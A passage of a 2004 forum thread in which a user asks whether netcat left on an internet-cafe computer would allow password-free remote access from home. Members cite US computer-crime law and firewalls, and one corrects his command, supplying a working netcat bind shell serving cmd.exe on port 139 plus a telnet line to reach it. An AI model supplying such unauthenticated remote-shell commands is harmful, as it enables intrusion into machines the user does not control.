-
February 7th, 2004, 05:18 PM
#11
Junior Member
one of the best ways to prevent any anonymous and bad connects is to use remote control programs like NetOP or smth... it has very good authentication mechanism, control, etc
for som\' **** from lithuania
-
February 7th, 2004, 07:59 PM
#12
Member
There are laws against this (the installing Netcat for remote access to a machine you don't have permisison to do so on). Title 18 of US code, and many states have local laws, that would make this illegal under sections such as "unauthorized access or exceeding authorized access to a computer".
Either way, chances are proper firewall settings would block any non-authorized ports anyhow..
l00p
Sorry for all the dangling participles.
-
February 7th, 2004, 08:13 PM
#13
Member
Originally posted here by ne0gen
SO, theorethically, if I go to a inernet cafe, use on some computer netcat, open port 28973 for example, go home, use netcat to get remote access on the computer trough the opened port and its IP adress, I nedd no password and authorization(password etc) to get inside?(i dont want to do it, iam only interested in that).
When Ive tried it remotely(trough netcat) on my friends computer(we both have dial-up and he KNOWS about it), it shows me cant grab xxx.xxx.xxx.xxx:139 with bind. Ive tried command
nc -v -L -e cmd.exe -p 139 xxx.xxx.xxx.xxx
and it showed: xxx.xxx.xxx.xxx: inverse host lookup failed: h_errno 11004: NO_DATA
cant grab xxx.xxx.xxx.xxx:139 with bind.
Can you help me? Where am I doing wrong?
-
February 7th, 2004, 08:16 PM
#14
Member
Sorry, I had badly checked the quote. But you know what I am asking, so please help me.
-
February 7th, 2004, 09:29 PM
#15
Originally posted here by ne0gen
When Ive tried it remotely(trough netcat) on my friends computer(we both have dial-up and he KNOWS about it), it shows me cant grab xxx.xxx.xxx.xxx:139 with bind. Ive tried command
nc -v -L -e cmd.exe -p 139 xxx.xxx.xxx.xxx
and it showed: xxx.xxx.xxx.xxx: inverse host lookup failed: h_errno 11004: NO_DATA
cant grab xxx.xxx.xxx.xxx:139 with bind.
Can you help me? Where am I doing wrong?
To open up the port you don't need the xxx.xxx.xxx.xxx you just need
nc -v -L -e cmd.exe -p 139
Then to connect you just use telnet:
telnet xxx.xxx.xxx.xxx 139
Hope that helps.
-
February 7th, 2004, 11:11 PM
#16
Member
Originally posted here by h3r3tic
To open up the port you don't need the xxx.xxx.xxx.xxx you just need
nc -v -L -e cmd.exe -p 139
Then to connect you just use telnet:
telnet xxx.xxx.xxx.xxx 139
Hope that helps.
But in netcat readme is that I can open some ports on other computers remotely. Or i have bad understood. because english isnt my mother language.
So it is possible or not? Must i have physical access?
-
February 7th, 2004, 11:14 PM
#17
Member
and if I open some port like 23, can I then browse harddrive remotely? or i need authorization?
-
February 8th, 2004, 12:22 AM
#18
netcat must be running on the remote machine in order to open
a port and grant access. Now there are some people out there who are clever
enough to install it without physical access, but it is just the thing that its
administrator will be trying to guard against.
I came in to the world with nothing. I still have most of it.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
|